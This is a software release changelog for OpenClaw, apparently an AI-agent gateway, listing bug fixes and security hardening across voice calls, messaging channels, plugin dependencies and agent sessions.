• Docs/sandboxing: clarify that sandbox setup scripts (sandbox-setup.sh, sandbox-common-setup.sh, sandbox-browser-setup.sh) are only available from a source checkout, and add inline docker build commands for npm-installed users so sandbox image setup works without cloning the repo. Fixes #75485. Thanks @amknight.

• Google Meet/Voice Call: play Twilio Meet DTMF before opening the realtime media stream and carry the intro as the initial Voice Call message, so the greeting is generated after Meet admits the phone participant instead of racing a live-call TwiML update. Thanks @donkeykong91 and @PfanP.

• Google Meet/Voice Call: make Twilio setup preflight honor explicit --transport twilio and fail local/private Voice Call webhook URLs, including IPv6 loopback and unique-local forms, before joins. Thanks @donkeykong91 and @PfanP.

• Voice Call/Twilio: retry transient 21220 live-call TwiML updates and catch answered-path initial-greeting failures, so a fast answered callback no longer crashes the Gateway or drops the Twilio greeting/listen transition. (#74606) Thanks @Sivan22.

• CLI/startup: preserve OPENCLAW_HIDE_BANNER banner suppression for route-first startup callers that rely on the default process environment while keeping read-only status/channel paths from repairing bundled plugin runtime dependencies. Refs #75183.

• Voice Call/Twilio: register accepted media streams immediately but wait for realtime transcription readiness before speaking the initial greeting, so reconnect grace handling stays live while OpenAI STT startup is no longer starved by TTS. Fixes #75197. (#75257) Thanks @donkeykong91 and @PfanP.

• Voice Call CLI: run gateway-delegated voicecall continue through operation-id polling and protocol-shaped errors, so long conversational turns keep their transcript result without blocking a single Gateway RPC. (#75459) Thanks @serrurco and @DougButdorf.

• Voice Call CLI: delegate operational voicecall commands to the running Gateway runtime and skip webhook startup during CLI-only plugin loading, preventing webhook port conflicts and setup --json hangs. Fixes #72345. Thanks @serrurco and @DougButdorf.

• Agents/pi-embedded-runner: extract the abortable provider-call wrapper from runEmbeddedAttempt to module scope so its promise handlers no longer close over the run lexical context, releasing transcripts, tool buffers, and subscription callbacks when a provider call hangs past abort. (#74182) Thanks @cjboy007.

• Docker: restore python3 in the gateway runtime image after the slim-runtime switch. Fixes #75041.

• Agents/session-repair: fix resumed sessions failing with repeated 400 errors on Anthropic and strict OpenAI-compatible providers (Qwen, mlx-vlm) after an interrupted conversation or blank user input. Fixes #75271 and #75313. Thanks @amknight.

• CLI/Voice Call: scope voicecall command activation to the Voice Call plugin so setup and smoke checks no longer broad-load unrelated plugin runtimes or hang after printing JSON. Thanks @vincentkoc.

• Doctor/plugins: warn when restrictive plugins.allow is paired with wildcard or plugin-owned tool allowlists, making the exclusive plugin allowlist behavior visible before users hit empty callable-tool runs. Refs #58009 and #64982. Thanks @KR-Python and @BKF-Gitty.

• Google Meet/Voice Call: keep Twilio Meet joins in conversation mode and reuse the realtime intro prompt when no voice-call-specific intro is configured, so answered phone bridge calls speak instead of joining silently. Refs #72478. Thanks @DougButdorf.

• Auto-reply/group chats: keep the message tool available for message-tool-only visible replies and apply group-scoped tool policy before deciding fallback delivery, so Discord/Slack-style rooms reply visibly in the correct channel after upgrades. Fixes #74842; refs #75207. Thanks @davelutztx and @aa-on-ai.

• Agents/commitments: keep inferred follow-ups internal when heartbeat target is none, strip raw source text from stored commitments, disable tools during due-commitment heartbeat turns, bound hidden extraction queue growth, expire stale commitments, and add QA/Docker safety coverage. Thanks @vignesh07.

• Telegram/agents: keep typing indicators and optional generation tools off the reply critical path, so fresh Telegram replies no longer stall while provider catalogs and media models load. (#75360) Thanks @obviyus.

• Agents/commitments: run hidden follow-up extraction on the configured agent/default model instead of falling back to direct OpenAI, so OpenAI Codex OAuth-only gateways no longer spam background API-key failures. Fixes #75334. Thanks @sene1337.

• Agents/media: keep async music generation completions on the requester-session wake path even when direct-send completion is enabled, so finished audio stays agent-mediated while video can still opt into direct channel delivery. (#75335) Thanks @vincentkoc.

• Security/config-audit: redact CLI argv and execArgv secrets before persisting config audit records, covering write, observe, and recovery paths. Fixes #60826. Thanks @koshaji.

• Gateway/models: keep default and configured model-list views responsive when provider catalog discovery stalls, without hiding real catalog load failures, while --all still waits for the exact full catalog. Fixes #75297; refs #74404. Thanks @lisandromachado and @najef1979-code.

• Plugins/runtime-deps: accept already materialized package-level runtime-deps supersets as converged, so later lazy plugin activation no longer prunes and relaunches pnpm install after gateway startup pre-staging, reducing event-loop pressure from repeated runtime-deps repair on packaged installs. Fixes #75283; refs #75297 and #72338. Thanks @brokemac79, @lisandromachado, and @midhunmonachan.

• Plugins/runtime-deps: remove OpenClaw-owned legacy runtime-deps symlinks before replacing staged bundled plugin dependencies, so updates can recover from older symlinked installs instead of failing the symlink safety guard. Thanks @goldmar.

• Discord: retry queued REST 429s against learned bucket/global cooldowns and reacquire fresh voice upload URLs after CDN upload rate limits, so outbound sends recover without reusing stale single-use upload URLs. Thanks @discord.

• TTS/providers: keep bundled speech-provider compat fallback available when plugins are globally disabled, so cold gateway and CLI startup can still resolve fallback speech providers instead of leaving explicit TTS provider selection with no registered providers. Refs #75265. Thanks @sliekens.

• Discord: collapse repeated native slash-command deploy rate-limit startup logs into one non-fatal warning while keeping per-request REST timing in verbose output. Thanks @discord.

• Discord: report native slash-command deploy aborts as REST timeouts with method, path, timeout budget, and observed duration, so startup logs explain slow Discord API calls instead of showing a generic aborted operation. Thanks @discord.

• Security/logging: redact payment credential field names such as card number, CVC/CVV, shared payment token, and payment credential across default log and tool-payload redaction patterns so wallet-style MCP tools do not expose raw payment credentials in UI events or transcripts. Thanks @stainlu.

• Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (#75111) Thanks @keshavbotagent.

• Plugins/runtime-deps: materialize newly required bundled plugin packages after local openclaw onboard and openclaw configure config writes, while keeping remote setup read-only, so first Gateway startup no longer discovers missing channel/provider deps after setup claimed success. Fixes #75309; refs #75069. Thanks @scottgl9 and @xiaohuaxi.

• Plugins/runtime-deps: expire stale legacy install locks whose live PID cannot be tied to the current process incarnation, so Docker PID reuse no longer leaves bundled dependency repair stuck behind old .openclaw-runtime-deps.lock directories. Fixes #74948; refs #74950 and #74346. Thanks @dchekmarev.

• Plugins/runtime-deps: recover interrupted bundled runtime-dependency installs whose package sentinels exist but generated materialization is incomplete, forcing npm/pnpm repair in Gateway startup, doctor, and lazy plugin loads instead of leaving channels crash-looping on missing packages. Fixes #75309; refs #75310, #75296, and #75304. Thanks @scottgl9.

• Plugins/runtime-deps: treat no-main and export-map package sentinels without reachable entry files as incomplete, so Gateway startup, doctor, and lazy plugin loads repair interrupted bundled dependency installs instead of accepting package.json-only partial installs. Fixes #75309; refs #75183. Thanks @shakkernerd.

• Plugins/runtime-deps: keep runtime inspection and channel maintenance commands from downloading bundled plugin dependencies, route explicit repairs through openclaw plugins deps --repair, and still allow Gateway/DO paths to repair missing deps before import. Refs #75069. Thanks @xiaohuaxi.

• Updates: force non-deferred, no-cooldown update restarts after package-manager updates requested through the live Gateway control plane and fail release validation on post-swap stale chunk import crashes, so Telegram/Discord imports do not stay pointed at removed dist files. Fixes #75206. Thanks @xonaman and @faux123.

• Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when contextTokens is larger than native contextWindow. Fixes #74917. Thanks @kAIborg24.

• Gateway/systemd: exit with sysexits 78 for supervised lock and EADDRINUSE conflicts so RestartPreventExitStatus=78 stops Restart=always restart loops instead of repeatedly reloading plugins against an occupied port. Fixes #75115. Thanks @yhyatt.

• Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes #74137. Thanks @yelog, @Gracker, and @nhaener.

• Agents/Codex: isolate local Codex app-server CODEX_HOME and HOME per agent and add a deliberate Codex migration path with selectable skill copies, so personal Codex CLI skills, plugins, config, and hooks no longer leak into OpenClaw agents unless the operator migrates them into the workspace. Thanks @pashpashpash.

• Security/Nextcloud Talk: make webhook signature validation use the padded timing-safe compare path even when the supplied signature length is wrong, keep normalized header lookup behavior, and extend regression coverage for tampered bodies, wrong secrets, array-backed headers, and truncated signatures. Carries forward earlier contributor work from #50516 by teddytennant. (#58097) Thanks @gavyngong.

• Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes #75108; refs #75069. Thanks @coletebou and @xiaohuaxi.

• Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the message tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes #74868. Thanks @kagura-agent.

• Browser/gateway: share one browser control runtime across the HTTP control server and browser.request, and refresh browser profile config from the source snapshot, so CLI status/start honors configured browser.executablePath, headless, and noSandbox instead of falling back to stale auto-detection. Fixes #75087; repairs #73617. Thanks @civiltox and @martingarramon.

• Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual sessions.json surgery. Fixes #74864. Thanks @solosage1.

• Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down /var/lib/openclaw/plugin-runtime-deps directories. Fixes #74971. Thanks @eurojojo.

• Memory/runtime-deps: retain the native node-llama-cpp runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes #74777. Thanks @LLagoon3.

• Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free tools.web.fetch config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes #74896. Thanks @KoykL.

• Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless requireMention is set. Fixes #53308. Thanks @minupla and @juan-flores077.

• Signal: bound signal-cli installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes #54153. Thanks @jinduwang1001-max and @juan-flores077.

• Slack: require bot-authored room messages with allowBots=true to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes #59284. Thanks @andrewhong-translucent.

• Signal: derive getAttachment HTTP response caps from channels.signal.mediaMaxMb with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes #73564. Thanks @heyhudson.

• Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so signal-cli 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes #74741. Thanks @fgabelmannjr and @k7n4n5t3w4rt.

• CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian /status no longer disturbs the active input row. (#75003) Thanks @velvet-shark.

• Models/OpenAI Codex: restore openai-codex/gpt-5.4-mini for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes #74451. Thanks @0xCyda, @hclsys, and @Marvae.

• Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes #74949. Thanks @hclsys.

• Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (#75073) Thanks @obviyus.

• Telegram: echo preflighted DM voice-note transcripts back to the originating chat, including Telegram DM topic thread metadata, instead of only echoing later media-understanding transcripts. Fixes #75084. Thanks @M-Lietz.

• Telegram: clamp low long-polling client timeouts so configured timeoutSeconds values below the getUpdates poll window no longer force a fresh HTTPS connection every few seconds. Fixes #75114. Thanks @hpinho77.

• Web search: describe web_search as using the configured provider instead of hard-coding Brave when DuckDuckGo or another provider is active. Fixes #75088. Thanks @sun-rongyang.

• Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws Unsafe fallback OpenClaw temp dir. Fixes #66867. Thanks @Kane808-AI and @jarvisz8.

• Agents/compaction: add an opt-in agents.defaults.compaction.midTurnPrecheck mid-turn precheck that detects tool-loop context pressure and triggers compaction before the next tool call instead of waiting for end-of-turn. (#73499) Thanks @marchpure and @haoxingjun.

• Gateway/approvals: let loopback token/password-backed native approval clients resolve exec approvals without attaching stale paired Gateway identities, while remote and unauthenticated approval clients keep normal device identity behavior. (#74472)

• Gateway/config: include rejected validation paths in foreground and service last-known-good recovery logs plus main-agent notices, so unsupported direct edits explain which key caused restore instead of looking like silent reversion. Fixes #75060. Thanks @amknight.

• Plugins/runtime-deps: hash the OS-canonical packageRoot via fs.realpathSync.native (with path.resolve fallback) when computing the bundled runtime-deps stage key, so loader and channel bundled-root callers no longer derive divergent stage directories under ~/.openclaw/plugin-runtime-deps/openclaw-<version>-<hash>/ and bundled channels stop failing with ENOENT on shared dist chunks under Windows npm symlinks, junctions, or PM2 multi-instance worker layouts. Fixes #74963. (#75048) Thanks @openperf and @vincentkoc.

• fix(logging): add redaction patterns for Tencent Cloud, Alibaba Cloud, HuggingFace and Replicate API keys (#58162). Thanks @gavyngong

• Pairing: surface unexpected allowlist filesystem stat errors instead of treating the allowlist as missing, so permission and I/O failures are visible during pairing authorization checks. (#63324) Thanks @franciscomaestre.

• macOS app: reserve layout space for exec approval command details so the allow dialog no longer overlaps the command, context, and action buttons. (#75470) Thanks @ngutman.

• Agents/failover: carry sessionId, lane, provider, model, and profileId attribution through FailoverError and describeFailoverError/coerceToFailoverError so structured error logs (e.g. gateway.err.log ingestion) can attribute exhausted-fallback wrapper errors to the originating session and last-attempted provider instead of dropping the metadata after the per-profile errors. Fixes #42713. (#73506) Thanks @wenxu007.

• Context Engine: treat assembled prompt as the default authority for preemptive overflow prechecks so engines that return a windowed, self-contained context no longer trigger false hard-fail compactions on huge raw history. Engines whose assembled view can hide overflow risk can opt back into the legacy behavior with AssembleResult.promptAuthority: "preassembly_may_overflow". (#74255) Thanks @100yenadmin.

• Mattermost: refresh current native slash command registrations before accepting callbacks so stale tokens from deleted or regenerated commands stop being accepted without a gateway restart while failed validations stay briefly cached and lookup starts are rate-limited per command, gate each callback against the resolved command's own startup token so a token leaked for one slash command cannot poison another command's failure cache, redact slash validation lookup errors, and add a body read timeout to the multi-account routing path so slow callback senders cannot tie up the dispatcher. Thanks @feynman-hou and @eleqtrizit.

• Security/dotenv: block COMSPEC in workspace .env so a malicious repo cannot redirect Windows cmd.exe resolution, and lock in case-insensitive workspace-.env regression coverage for the full Windows shell trust-root family (COMSPEC, PROGRAMFILES, PROGRAMW6432, SYSTEMROOT, WINDIR). (#74460) Thanks @mmaps.

• Gateway/install: drop stale version-manager and package-manager PATH entries preserved from old service files during gateway install --force and doctor repair, so the repair path no longer recreates gateway-path-nonminimal warnings. Fixes #75220. (#75440) Thanks @leonaIee, @renaudcerrato, and @aaajiao.